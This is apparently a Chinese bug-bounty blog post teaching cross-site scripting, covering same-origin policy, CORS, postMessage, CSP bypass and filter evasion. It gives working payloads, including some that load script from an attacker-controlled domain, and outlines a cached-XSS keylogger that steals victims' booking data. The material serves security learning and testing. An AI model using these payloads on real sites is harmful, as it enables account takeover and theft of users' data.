SRC-XSS

同源策略

同源策略限制了不同源之间如何进行资源交互，是用于隔离潜在恶意文件的重要安全机制。是否同源由URL决定，URL由协议、域名、端口和路径组成，如果两个URL的协议、域名和端口相同，则表示他们同源

场景1

在sub1.aaa.com 发现了一个XSS，同时这个sub1.aaa.com可注册可登录功能很多

这个XSS可以进行什么尝试升级危害？

修改邮箱，然后重置密码
修改密码
添加一个sso登录
读取 session token 在某个页面
给这个组织添加一个管理员
读取api key
通过 oauth 账号接管

场景2

在sub2.aaa.com 发现了一个XSS，这个sub2.aaa.com 是一个很边缘的域名，连功能都几乎没有可以进行什么尝试升级危害？

之前的方法几乎都不可行，比如修改sub1.aaa.com的邮箱，然后重置密码，一般这个功能点就算没有密码作额外的验证，一般也有一个csrf token, 如果没有那就直接是csrf 漏洞了，根本不需要子域名的xss，而子域名的xss 根据同源策略是无法读取到sub1.aaa.com的token的，这种情况下就危害比较有限

但下面提到的两种例外情况需要注意一下

第一种就是sub1.aaa.com或者某种比较核心的重要子域名存在cors 配置为任意子域名可以读取它的内容，那么sub2.aaa.com 就能读取这些域名的内容进行进一步升级危害
- CORS，全称为“跨域资源共享”（Cross-Origin Resource Sharing），是一种机制，它使用额外的 HTTP 头来告诉浏览器允许一个网页从另一个域（不同于该网页所在的域）请求资源。这样可以在服务器和客户端之间进行安全的跨域通信。
另外一种就是sub1.aaa.com 有个会话cookie, 这个会话cookie 设置为http only , 同时domain的部分设置为.aaa.com。那么其实是存在这样一种利用方式，那就是如果aaa.com下面的某个子域名将这个会话cookie 把http only 去掉了，这个时候sub2.aaa.com的xss就可以直接读取这个会话cookie了，同时当你再次访问sub1.aaa.com的时候你也会发现在这个域名上这个会话cookie从有http only到没有http only

XSS上下文

burp的xss靶场：All labs | Web Security Academy (portswigger.net)

另一个靶场：Brute XSS - Master the art of Cross Site Scripting. (brutelogic.com.br)

Reflected XSS into attribute with angle brackets HTML-encoded

从字面意思就能知道反射点在标签属性那里，通过“ 字符闭合之前的属性即可插入XSS payload

最基本的思路：前面闭合，中间插入payload，后面注释掉或闭合（有时也不需要）

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded

and single quotes escaped

输入’会变成\’ 这个时候可以尝试输入一个, 如果\ 还是\ , 那么它就会和后面的\组合，这样’ 就能正确闭合

过滤和Waf

过滤一般指的是对某些关键词进行删除或者替换，比如检查到<script>将其删掉，检查到alert 将其删掉

WAF一般值得是拦截，比如检查到某个关键词或者某种规则给你返回403

反射XSS-Bypass - Fc04dB’s BLOG

HTML实体编码绕过

"><iframe/src=javascript:alert%26%23x000000028%3bdocument.domain)>

在x与28之间加任意个数的0，都等价于x28

postMessage

BugBounty中Dom Xss的案例分享 – Jinone – 败絮其中

我们时不时会在H1的hacktivity上看见postMessage 相关的XSS 报告

https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

通过上面的文档我们知道 postMessage是一种以可控方式绕过同源策略的方法

样例代码

域名1 包含以下js代码

targetWindow.postMessage("hello other document!", "*");

域名2 包含以下js代码

window.addEventListener("message", function(message){console.log(message.data)});

这样域名2 就能接收到域名1传过来的数据

域名2 如果设置类似的监听器，就会存在XSS漏洞

window.addEventListener("message", function(message){
	document.getElementById("message").innerHTML = message.data;
});

现实可能会如何使用 postMessage ？

比如有这么一个网站test.com, 它有一个子域名sub1.test.com, 它想从sub2.test.com 获取用户的电子邮件地址，对于这么一个需求，可以使用CORS实现，同样的，也可以用postMessage 实现

这里需要特别注意的是，如果开发人员忘记在 evenListener 中检查事件来源，则可能会导致 XSS或敏感信息泄露

CORS漏洞检测方法：

corsy工具，如果某个子域名的根目录下/的cors配置错误，那么极大可能这个子域名的其他任意存在的目录也有相同的cors配置错误，这个方法基于根目录与任意存在目录的cors配置一致的前提下才是很准确的
第二个方法是burp的替换规则，match and replace rules 部分勾选 cors

Polyglots

Polyglots 说白了就是可以适用多个XSS上下文的XSS payload, 但是一般适用于没有waf的网站如果网站存在WAF, 这些payload 很容易被拦截，如果网站没有waf, Polyglots 还是非常方便的

下面是一个Polyglots 的例子

jaVasCript:/*-/*`/*\`/*'/*"/**/(/**/oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

更多例子可以查看

XSS Polyglot payloads (github.com)

CSP

CSP(内容安全策略)就是一种策略，这种策略限制可以加载哪些资源(例如 JavaScript、CSS、图像等)以及可以从哪些URL加载这些资源

通过HTTP 响应标头或者元标记启用它

如果你在某个网站发现了XSS，但是那个网站存在CSP策略，那么你是无法简单地直接执行XSS的，需要进行一定CSP绕过

CSP 指令参考

Content-Security-Policy由一个或多个指令组成，多个指令用分号分隔, 下面列出一些跟XSS相关的应当重点关注的指令

default-src

该default-src指令定义了获取 JavaScript、图像、CSS、字体、AJAX 请求、框架、HTML5 媒体等资源的默认策略

script-src

定义有效的 JavaScript 源

img-src

定义有效的图像来源

connect-src

适用于XMLHttpRequest(AJAX)、WebSocket或fetch()

源列表参考

源列表说明资源可以从哪里加载，多个源列表值可以用空格分隔，下面列出一些跟XSS相关的应当重点关注的指令

‘self’ 允许从同一来源（相同方案、主机和端口）加载资源

domain.example.com 允许从指定域名加载资源。

***.example.com** 允许从example.com下的任何子域加载资源

‘unsafe-inline’ 允许使用内联源元素，如 style 属性、onclick 或脚本标记体（取决于其所应用的源的上下文）和javascript:URI

‘unsafe-eval’ 允许不安全的动态代码评估，例如 JavaScripteval()

‘nonce-‘ 如果脚本（例如：）<script nonce="rAnd0m">标签包含与 CSP 标头中指定的 nonce 匹

配的 nonce 属性，则允许执行内联脚本或 CSS。nonce 应为安全随机字符串，且不得重复使用

CSP 样例

允许googleapis 和同源

script-src 'self' www.googleapis.com;

可以通过下面的荷载进行绕过

<Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)></Script>

绕过实例

第一：CSP 配置中同时存在 nonce 和 unsafe-inline，这实际上会使 nonce 的防护机制失效

第二：

同时允许从外部域加载脚本，比如*.youtube.comYouTube 有一个有趣的功能，称为oEmbed，用于视频嵌入。它还允许使用callback 参数, 这个参数的输入会反射在页面上，内容类型也被标识为text/javascript

总结：

所以我们可以尝试通过 JSONP Abuse对这个CSP进行绕过，这也是非常常见的CSP绕过方式

最后可以在雅虎成功执行XSS的 Payload是

“><script src=“https://www.youtube.com/oembed?callback=alert(1337);“></script>

利用callback进行js代码控制并引入js里绕过csp的方法属于JSONP滥用

XSS自动化

自动化XSS更推荐对某个特定厂商进行而不是全平台厂商，因为专注于一个厂商你会对一个厂商越来越熟悉，可以优化URL的收集以及URL的去重规则

自动化XSS分为以下几个部分：

收集URL
删除相似和重复的URL
通过工具检测这些URL是不是有漏洞

收集URL在Information Gathering - Fc04dB’s BLOG 有写

删除相似和重复的URL

这个过程比较复杂，作为一个起始点，可以用一个叫uro的工具

随着你对你正在测试的厂商的熟悉，你可以编写一些适配于这个厂商的去重规则

去重以后的URL 保存到url_clean.txt的文件里面

通过工具检测这些URL是不是有漏洞

直接检测是不是存在XSS，或者检测某个URL某个参数没有过滤哪些特殊字符，再手动检测有没有XSS，这样可以不需要发太多的请求包，然后把XSS存在或者不存在的判断交给自己

kxss：

如果觉得只是判断哪些字符有没有被过滤然后自己再手动检测有没有漏洞太过麻烦和浪费时间，也可以把这些URL丢给XSS漏洞扫描工具，常见的XSS扫描工具有以下这些

xray：https://github.com/chaitin/xray

xscan (这个没有下载地址，加作者的知识星球可以获取)

XSStrike：https://github.com/s0md3v/XSStrike

dalfox：https://github.com/hahwul/dalfox

案例

绕过严格过滤的一次存储XSS经历

漏洞点在社区这么一个地方

在社区这里你可以提出问题，所以一个很明显的测试点就是在提出问题的时候插入XSS荷载

当你点击Ask a quetion, 输入你想要输入的标题，你输入的问题会列出在如图所示的地方，你可以在提出问题的标题插入XSS荷载，但是这里有很严格的过滤规则，

输入<aaaa，因为过滤规则匹配到<而且<后面跟着字母，所以<aaaa整个都会被删掉
如果是输入<<img>img, 它会先把里面的<img>然后删除外面的<img, 最后也是啥都不剩
如果是输入< img <%0aimg <%0dimg 然后整个又被删掉
整个删除过程是递归式删除

为啥那个11111<<img> img/src='a'/onerror=alert(1)>2222荷载可以绕过过滤？

荷载<<img> img 输入以后，过滤器检测到<<img> img, 过滤器首先过滤的是里面的<img>, 这个时候还剩下< img, 按照前面的过滤情况来看，因为是递归删除的，< img 应该也被删除才对，但是实际上并没有，最后保留下来了< img，注意前面带了一个空格出现这种情况的原因是我朋友告诉我这是一个补充规则，因为他之前已经提交过一次了，一开始用的荷载是< img 前面带上了一个空格，一开始的规则只是递归删除<后面跟在字符的模式(比如<aaa, <bbb, <cccc)

所以删除< img 其实只是一个在师傅朋友提交第一次报告以后，开发人员偷懒补充的一个规则，大概就是删除<空格跟着字符这种模式，没有加入递归删除的规则里面

对刚刚发起的问题进行search会跳转到另外一个页面在这个页面它会把空格自己删除,所以XSS成功触发

通过这个荷载插入js acb123456<<img> script src="//域名/x.js">//

在注入了js 以后在x.js简单写一下poc文件即可可以尝试一下账号接管或者读取敏感信息啥的

某厂商存储XSS多次Bypass多次获得赏金

经过信息收集，找到这么一个网站

然后补充一下相关信息，如果存在XSS的跟域名是aaa.com, 那么这个供应商的域名是bbb.com

在范围的赏金域名只有少数的几个

www.aaa.com

subs1.aaa.com

subs2.aaa.com

…

bbb.com 这个根域名在厂商的政策页面也没有提到, sub123.bbb.com 是提供给供应商的域名

注册以后填写相关的信息,填入你自己的产品，在产品名字写入xss荷载等待48个小时后，这个产品就会列出在www.aaa.com 网站上面访问这个页面，xss 就会成功触发

这是第一次用的payload

Bugcrowd '<img>>"<img>><<img>/script><<img>script src=//域名/x.js> TEST

这是厂商修复以后第二次用的payload，通过找到一个会删除空格的输出点触发XSS

Bugcrowd ">'< /div>< /script>< script src=//域名/x.js>< /script> TEST

利用XSS缓存特性，持久性劫持登录页面

在进行xss 测试的时候adco 这个参数存在反射XSS，但是当我在浏览器访问的时候发现无法触发

经过在burp 反复对比数据包，发现是referer 影响了结果

Referer: 可以是任意域名/widget/可以是任意的

Referer 包含widget的时候，\ 输出还是\ , 但是’会变成\’, 两个\一组合，刚好可以打破’被转义

Referer 不包含widget的时候，\的输出是\, 加上’ 变成\’, 所以一共3个, 最后的结果就是无法打破上下文，所以不存在漏洞

在你的域名放xss.html这么一个文件，这个文件的内容如下

<a href="https://{漏洞所在域名}/js/widget/?adco=\',1:alert(document.domain),//"referrerpolicy="no-referrer-when-downgrade">XSS test</a>

访问https://{你的域名}/widget/xss.html , 然后点击XSS test就会重定向到https://{漏洞所在域名}/js/widget/?adco=\',1:alert(document.domain),//

此时Referer 被正确设置，所以XSS会触发

访问了根路径，也就是https://{漏洞所在域名} 发现也能弹窗，

进一步测试，访问https://{漏洞所在域名}/lol123 也能弹窗, lol123 是一个根本不存在的路径

当我访问https://{漏洞所在域名}/js/widget/?adco=\',1:alert(document.domain),// 以后，这个荷载以某种缓存的形式被保存下来了，而且这个缓存跟cookie 绑定了(非会话cookie, 你访问网站直接给你返回的cookie)

这个利用方式就是注入一个键盘记录器通过这个键盘记录器窃取 email/reference number知道了email和reference number就能修改受害者的Booking, 和获取受害者的个人信息

之前的xss.html代码修改成如图所示

访问https://{你的域名}/widget/xss.html会跳转到就会自动重定向到https://{漏洞所在域名}/js/widget/?adco={荷载}

加了一小段代码实现自动重定向

受害者点击刚才的url以后，因为这个XSS具有缓存特性，之后在他访问访问https://{漏洞所在域名}，然后输入email和reference number会被键盘记录器记录发送给攻击者

现实攻击场景：

攻击者通过邮箱发送信息给受害者让他修改自己的booking 信息
当受害者点击邮箱里面的链接，就会被自动重定向到sub1.aaa.com(这是漏洞所在的域名)
xss 荷载在重定向的过程中已经被缓存下来了，受害者无论访问sub1.aaa.com任意路径都能触发，哪怕是访问sub1.aaa.com/lol123 也能触发
现在受害者被重定向到sub1.aaa.com，在这个页面他输入自己的email和reference number，出于对sub1.aaa.com域名本身的信任，他将这些信息输入进去，却不知道这些信息已经悄悄被攻击者获取

Fc04dB's BLOG